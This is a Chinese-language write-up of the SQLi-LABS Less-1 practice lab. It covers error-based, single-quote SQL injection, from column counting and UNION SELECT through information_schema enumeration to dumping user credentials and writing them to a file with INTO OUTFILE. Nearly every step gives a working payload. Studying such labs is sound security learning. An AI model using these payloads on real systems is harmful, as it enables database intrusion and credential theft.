SQLi-LABS 練習(xí)總結(jié)
Page-1 基礎(chǔ)練習(xí)
寫在前面:SQL注入是一個需要不斷嘗試的過程,其中可能出現(xiàn)很多問題才能有一次成功,不要心急,多嘗試,多學(xué)習(xí),多總結(jié)。
Less-1 GET-Error based-single quotes-String
分析所給提示:
- 根據(jù)報錯信息;
- 單引號;
- 字符型。
為了學(xué)習(xí)的目的,盡可能的多做一些嘗試:
(1)確定問題參數(shù)和漏洞類型

在URL中輸入id參數(shù) ?id=1',返回報錯信息: Erreur de syntaxe pr?s de '''' LIMIT 0,1' ? la ligne 1
關(guān)于回顯問題,可用設(shè)置語言包將其調(diào)成英文模式,具體操作: 直通車

從錯誤信息中可以看出,這是一個字符型(''1''),且限定只輸出1行(LIMT 0,1)。
可用的注入方式:
?id=1 這是一個正常的查詢過程。為了學(xué)習(xí)SQL注入,并不使用它來查詢。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL編碼,#是MySQL的注釋符。在我嘗試過程中,直接輸入#依舊會報錯,%23則能正確輸出。還有一種注釋方法:
?id=' or 1=1 --+
確定問題參數(shù)和漏洞類型:id參數(shù),字符型漏洞
(2)確定字段數(shù)
只有確定了字段數(shù),才可以使用union這個關(guān)鍵詞連接我們的查詢語句。可以采用order by 來確定字段數(shù)。
如:?id=1’ order by 1 %23
表示通過第一字段的順序進行排序,當輸入order by x報錯時,就說明沒有這個字段,就可以得到輸出的字段數(shù)了。在這個系統(tǒng)中,經(jīng)過測試,輸出字段數(shù)為3.


查看一下本地的數(shù)據(jù)庫:

確實只有三個字段,分別為id、username、password。
(3)判斷能在頁面顯示的字段。
接下來,使用union語句來判斷各字段的類型以及判斷能夠在頁面顯示的字段。
?id=-1' union select 1,2,3 %23
注意:這里的id= -1,使它不返回其他信息,執(zhí)行后面的語句。

從中看出能在頁面上顯示的是第2,3字段。
(4)確定數(shù)據(jù)庫
確定當前使用的數(shù)據(jù)庫
現(xiàn)在我們已經(jīng)知道了輸出的字段數(shù)了,可以使用union這個關(guān)鍵詞了。首先試試確定數(shù)據(jù)庫的名字,設(shè)計如下payload:
?id=-1’ union select 1,database(),3 %23
回顯如圖:

從而知道了當前使用的數(shù)據(jù)庫的名字是 security。
爆出所有數(shù)據(jù)庫
還有一種方法,可以爆出所有的數(shù)據(jù)庫名,payload:
?id=-1' union select 1,group_concat(SCHEMA_NAME),3
from information_schema.SCHEMATA%23

紅線部分即為MySQL中的所有數(shù)據(jù)庫。
說明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23在實際中有時候也可以,表示選擇information_schema數(shù)據(jù)庫中,SCHEMATA這個表的SCHEMA_NAME字段的值。關(guān)于information_schema這個數(shù)據(jù)庫,有興趣可以再查資料。
在這里不行的原因是它返回的是一個數(shù)組,分為一個一個的字符串,在這里只能顯示第一個字符串,即information_schema。

GROUP_CONCAT(expr) 該函數(shù)返回帶有來自一個組的連接的非NULL值的字符串結(jié)果。在這里,這個函數(shù)將原先返回的字符串數(shù)組拼接成一個完整的字符串輸出。
(5)數(shù)據(jù)表
Payload:
?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23

這個就不分析了,就是從TABLES表中將TABLE_SCHEMA字段中名為security的數(shù)據(jù)全部返回。 可以通過phpmyadmin等工具查看本地數(shù)據(jù)庫中內(nèi)容。
(6)字段名
Payload:
?id=-1' union select 1,group_concat(COLUMN_NAME),3
from information_schema.COLUMNS
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23
注意:如果你要精確的查出某表的字段名,你就需要加兩個限定條件,TABLE_NAME = 'users'指定查找名為users表中的字段,由于可能存在多個數(shù)據(jù)庫,查出來的數(shù)據(jù)可能比該表的真實字段多;所以再加上一個限定條件,TABLE_SCHEMA = 'Security' 指定數(shù)據(jù)庫為Security。
字段名為:id,username,password。

(7)確定字段類型
?id=-1' union select 1,group_concat(DATA_TYPE),3
from information_schema.COLUMNS where TABLE_NAME = 'users'
and TABLE_SCHEMA = 'security'%23
從中看出對應(yīng)的字段類型:id為int型,username為varchar型,password為varchar型。

(8)查詢字段內(nèi)容
?id=-1' union select 1,username,password from users where id=3%23
這里限制了輸出,可以通過指定id的方式逐條查詢。

通過指定id查詢記錄數(shù),得知id最大到14,其中id=13項缺失,所以也可以仿造前面的方法,直接查看全部數(shù)據(jù)。注意這只能用在小數(shù)據(jù)量的表中。
?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

(9)拖庫
?id=-1' union select 1,username,password from users
into outfile 'e:/user.txt'%23
將查詢記錄輸出到e:/user.txt文件中。
